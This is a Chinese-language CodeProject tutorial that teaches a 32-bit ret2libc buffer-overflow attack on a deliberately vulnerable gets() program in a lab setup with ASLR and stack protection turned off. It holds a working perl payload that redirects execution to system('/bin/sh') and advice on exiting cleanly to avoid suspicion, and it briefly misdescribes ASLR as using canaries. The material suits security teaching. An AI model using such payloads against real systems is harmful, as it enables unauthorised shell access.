65.9K
CodeProject 正在变化。 阅读更多。
Home

Linux 中的简单 32 位 Ret2libc 攻击

starIconstarIconstarIconstarIconstarIcon

5.00/5 (6投票s)

2021 年 5 月 27 日

CPOL

12分钟阅读

viewsIcon

12504

在本文中,我们将探讨一种更高级的缓冲区溢出攻击。

引言

与任何漏洞利用一样,随着时间的推移,新的防护和检测方法不断涌现。在本文中,我们将探讨一种更高级的 缓冲区溢出攻击。 在这个典型的例子中,我们将研究攻击者如何通过将 C 函数的返回地址重定向到 libC(C 标准库)中的函数来绕过 DEP(数据执行保护),而这发生在 32 位二进制文件中。如果需要,我们还可以将 libC 函数链推送到堆栈上,以便一个接一个地执行它们,这就是 ROP(面向返回的编程)

本文不使用 64 位二进制文件的一个原因是,Ret2libc 最纯粹的形式出现在 32 位二进制时代。攻击的构建基于您在特定函数 $EBP 寄存器值之后创建一个伪堆栈帧。这包括通过溢出将函数参数推送到伪堆栈帧中。64 位二进制文件上的 Ret2libc 攻击依赖于通过 gadget 将函数参数推送到寄存器中,并与 ROP 或面向返回的编程 类似。

如何在不使用直接 shellcode 的情况下生成 shell?或列出一个目录? Ret2libC 攻击允许我们调用 C 函数 system 和名为 exit 的函数,从而生成 shell,然后允许程序干净地退出,不引起任何怀疑。

要求

强烈建议您具备缓冲区溢出经验,或者阅读过我之前关于 缓冲区溢出 的文章,因为本文是它的延伸。在本文中,我们将使用以下工具:

  • Ubuntu 8(在我 格式化字符串 漏洞利用文章中有安装指南,我强烈建议您按照该指南操作,因为我们必须从 CD 映像文件中安装额外的组件。您可以在 此处 找到 ISO 映像)。
  • GCC
  • GDB
  • C 语言基础知识
  • 字节序(大端/小端) 概念的理解。

入门

在本文中,我们将利用一个长度未经验证的函数 gets。虽然 gets 在现代程序中不被推荐使用,但程序员或新手错误可能会使其绕过检查。gets 函数允许我们从标准输入(STDIN)读取用户输入,并将其存储到字符缓冲区中,而不会进行长度检查,这对于缓冲区溢出来说无疑是灾难的根源。

  • gets(char* buffer)

让我们开始一个简单的程序

bug.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void buggy_function()
{
    char* arg;
    char buffer[128];
    gets(buffer);
}

int main(int argc, char* argv[])
{
    buggy_function();
    return 0;
}

此程序允许我们调用包含易受攻击的 gets 函数的 buggy_function。我们将使用 PERL 编程语言 来创建一个 string,通过一些简单的 BASH 命令表示法,将其作为用户输入定向到我们的易受攻击程序。

我们在此漏洞利用中的目标是溢出 buggy_function 堆栈帧的返回地址,并将其替换为 system 函数的地址。我们还将传递 exit 函数的地址以及用于执行新 shell 实例的参数 "/bin/sh",所有这些都包含在 libC 中。

在我们开始之前,让我们关闭 内存随机化或 ASLR,因为它会干扰我们的漏洞利用。ASLR 通过使用“金丝雀变量”不断移动内存来帮助程序自我保护。这也有助于检查内存是否被篡改,从而提供完整性检查。您可以通过将以下文件的值从 2 修改为 0 来关闭系统上的 ASLR。

/proc/sys/kernel/randomize_va_space

注意:请记住在完成漏洞利用后将 randomize_va_space 文件的值设置回 2。

什么是 libC?

libC,顾名思义,指的是 C 的标准库,它包含了所有与 C 编程语言相关的函数、类型定义和宏。在这种情况下,它定义了 charint 类型。libC 是 C 功能的主要组成部分,库通过以下表示法包含到您的程序中:

#include <library.h>

在这种情况下,exitsystem 函数包含在 stdlib 库中,该库包含我们 C 程序的标准基本功能。这意味着,当程序运行时,即使我们没有在程序中直接使用它们,我们也可以使用库中包含的函数,因为它们也会被加载到内存中。事实上,您会发现 libC 中的许多函数即使我们没有在程序中包含/使用它们,也仍然可用。如果我们使用 print 命令在 GDB 中调试程序,并使用函数名称设置断点,尤其可以看到这一点。

print system

这种可用性是因为这些库和函数是内置的,允许多个程序指向内存中的特定指针,以便以低开销调用频繁使用的函数。libC 非常复杂且广泛。它定义了内存分配、文件管理等。

Ret2libC 攻击如何在内存中工作

让我们继续了解 Ret2libC 攻击如何在内存中工作。我们知道,函数被组织成堆栈帧(请阅读我关于 缓冲区溢出 的文章以了解更多信息)。一个帧由一个函数序言组成,它有助于设置帧供使用。主体和返回语句。帧的顶部由堆栈指针($ESP)表示,底部由基址指针($EBP)表示。返回地址存储在基址指针之后,以指示程序执行完函数后应返回到何处,如下面的示例所示。

为了执行 Ret2libC 攻击,我们将在 buggy_functions$EBP 指针之后创建一个伪堆栈帧,使其看起来像这样:

Example Exploitable Function fnc(char* arg1, char* arg2, n...)
|-------------------------------| ← Start of frame for buggy_function(). Referenced to by $ESP
|   //function prologue         |
|-------------------------------|
|   buffer[128] = 'A' x 128     | ← Our buffer which contains random 'A's
|-------------------------------|
|   'AAAA'                      | ← $EBP replaced by 4 random bytes
|-------------------------------|
|   system()                    | ← Replaced the return address with the system call
|-------------------------------|
|   exit()                      | ← Allows us to exit cleanely after system()
|-------------------------------|
|   address of "/bin/sh"        | ← Argument for system()
|-------------------------------|

为了成功运行我们的漏洞利用,我们将不得不溢出我们的缓冲区和 $EBP 指针 4 个随机字节。然后,我们将覆盖返回地址,使其指向 system 的地址,然后是 exit 的地址,最后是 "/bin/sh" 的地址,在本例中,它将包含在一个 环境变量 中。如果您想添加另一个函数而不是 system,您可以这样做。请记住,与允许您执行多个操作的 ROP 不同,这里我们只能调用两个函数,任何后面的地址都不会被执行,很可能会导致错误。

漏洞利用:准备工作

为了执行我们的 Ret2libC 攻击,我们将使用 GDB。作为初学者,这将帮助我们导航 C 二进制文件的复杂世界,当然,随着我们在这些漏洞利用方面变得更好,我们将减少对 GDB 的使用。GDB 被称为 GNU 调试器,它将帮助我们在执行过程中查看内存,创建断点,并进一步了解我们的易受攻击的二进制文件。有各种其他程序可供使用,如 NM 或 hexdump。本文将坚持使用 GDB。

为了包含 GDB 可以在二进制文件中识别的额外符号,我们将使用 -g 标志编译我们的二进制文件,该标志将调试符号包含到我们的二进制文件中。

gcc -g bug.c -o bug.out -fno-stack-protector

-o 标志允许我们定义最终二进制文件的名称。我们将使用 -fno-stack-protector 标志来编译我们的二进制文件。这将禁用我们程序的任何堆栈保护,或者任何有助于检测堆栈破坏(缓冲区溢出)的保护。

现在让我们用 GDB 打开我们的易受攻击程序

gdb -q ./bug.out

-q 标志会抑制 GDB 可能显示的任何欢迎消息。让我们通过查找 systemexit 的实际地址来做好准备。我们需要在通过 GDB 运行程序时找到它们。我们可以设置一个运行时断点,以便在 main 函数上执行此操作,这将允许我们观察内存中的其他值,包括 systemexit 函数的位置。我们可以使用以下命令设置断点:

break main

让我们使用以下命令运行我们的程序

run

我们现在已经遇到了我们在 main 中设置的断点。

现在我们可以在运行时访问我们程序的内存。让我们找出 system 函数的位置以及 exit 函数的位置。

太棒了!既然我们有了 systemexit 的地址,我们就可以在漏洞利用中使用它们了。但是,我们仍然需要为 system 设置一个参数。

在这种情况下,我们将创建一个名为 EGG 的环境变量,其中包含 "/bin/sh",这将是我们推送到伪堆栈帧作为调用 system 函数参数的地址。我们可以使用 Q 键退出 GDB。现在输入以下命令来导出我们的环境变量:

export EGG='/bin/sh'

太棒了!我们现在一定已经成功导出了环境变量。您可以使用以下命令在环境变量列表中找到它来验证它:

env

如上所示,EGG 环境变量已成功创建。在 GDB 中,我们可以遍历内存来查找任何环境变量,这并不像它们通常位于非常相似的内存区域那么难,但在此实例中,让我们改为创建一个程序,直接获取我们环境变量的位置,并返回我们想要的那个环境变量。我们将使用 C 函数 getenv,它允许我们通过名称获取环境变量。我们将使用 printf"%8p" 格式参数直接将其打印出来,这意味着 printf 应该将 getenv 的结果,也就是我们的变量 EGG,作为指针(即 EGG 在十六进制中的地址)打印出来。

get_env.c

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char* argv[])
{
   printf("%8p\n", getenv(argv[1]));
   return 0;
}

我们可以使用 gcc 编译我们的程序,而无需使用 -g 标志或 -fno-stack-protector 标志,因为我们在这个简单的程序中不需要它们。

gcc get_env.c -o get_env.out

我们现在可以使用这个程序来查找我们的目标环境变量。

如我们所见,EGG 的地址是 0xbffff860

让我们在 GDB 中运行我们的程序(bug.out)并在 main 函数中创建一个断点。我们将检查 EGG 环境变量是否确实位于 0xbffff860

如我们所见,EGG 实际上不在 0xbffff860。这是因为在 EGG 之前有一个环境变量被推到了堆栈上。这个变量包含了我们可执行文件的完整路径和完整名称,这意味着 EGG 的位置取决于这个变量的长度,因为我们可执行文件的大小会因我们的路径和名称偏好而异。

此时,EGG 向上移动了 27 个字节。我们需要从 getenv 函数获得的地址中减去这个值。因此,EGG 位于 0xbffff845

现在让我们尝试我们的漏洞利用,将 EGG 的校正地址插入我们的 payload 中。这将为我们提供一个新的 shell。

运行我们的漏洞利用

为了运行我们的缓冲区溢出漏洞利用,我们必须覆盖我们的返回地址为 system 的地址,这样它就不会指向 main 中的前一个位置,而是会调用 system 函数。然后我们可以推入代表 exit 地址的 4 个字节,然后是 EGG 的地址。

让我们找出 buffer 的位置和基址指针 $EBP 的位置,以确定覆盖返回地址所需的总长度。

在 GDB 中,让我们在调用 gets 函数之前,在 buggy_function 中设置一个断点。为了知道在哪里,我们可以使用 list 命令。

list buggy_function

让我们在第 9 行设置一个断点。GDB 会在第 9 行代码执行之前中断执行。这将允许创建 buffer 数组,以便我们可以确定其位置。

在这里,我们可以看到 buffer 从 0xbffff484 开始。我们现在必须找出基址指针的位置,以获得正确的 payload 长度。我们可以使用以下命令找出基址指针 $EBP 的位置。

info registers $ebp

我们还可以运行以下 GDB examine 命令,以查看 $EBP 之后的 4 个字节,它们代表 buggy_function 的返回地址。

x/2x $ebp

事实上,正如我们所见,$EBP 存储在 0xbffff508,之后是包含返回地址指向 0x080483f3 的内存位置。0x080483f3 是调用 buggy_function 后在 main 中的执行点。我们可以通过反汇编 main 函数并查找地址 0x080483f3 来查看 main 函数中的返回点。

disass main

正如您所见,0x080483f3 指的是调用 main 中的 buggy_function 之后的下一个执行点。

让我们找出 payload 的确切大小要求,方法是用较大的地址(即基址指针 $EBP 的地址)减去当前较小的地址(即 buffer 的地址)。

正如我们所见,我们需要 132 字节的 payload 才能到达 $EBP,我们需要另外 4 个字节来覆盖 $EBP,然后再需要 12 个字节来插入 systemexitEGG 的地址。总共,我们的 payload 长度应为 148 字节。太棒了,让我们使用 perl 将 payload 打印到我们的程序中,作为 STDIN,其中包含 132 个垃圾字节 + 4 个用于覆盖 $EBP 的字节,然后是我们 exploit 的关键字节信息。请记住,您必须以大端序(Big Endian)写入地址。

r <<< $(perl -e 'print "A" x 132 . "B" x 4 . 
"\x90\xfa\xea\xb7" . "\xe0\x4c\xea\xb7" . "\x45\xf8\xff\xbf")

程序现在应该正常退出并为您提供一个 /bin/sh shell。如果您省略 exit 函数,程序将不会正常退出并会给您一个错误,但仍然会生成一个 shell。为了避免被利用的系统引起怀疑,最好包含 exit 函数。

另一种有趣的玩法是列出当前目录。事实上,您可以运行任何您选择的可执行文件。在这种情况下,让我们在 GDB 之外将 EGG 改为包含 Linux /bin/ 文件夹中的 ls 可执行文件。

export EGG="/bin/ls"

我们现在可以重新进入 GDB 并运行与之前相同的 payload。systemexitEGG 的地址应该保持不变。

历史

  • 2021 年 5 月 27 日:初始版本
© . All rights reserved.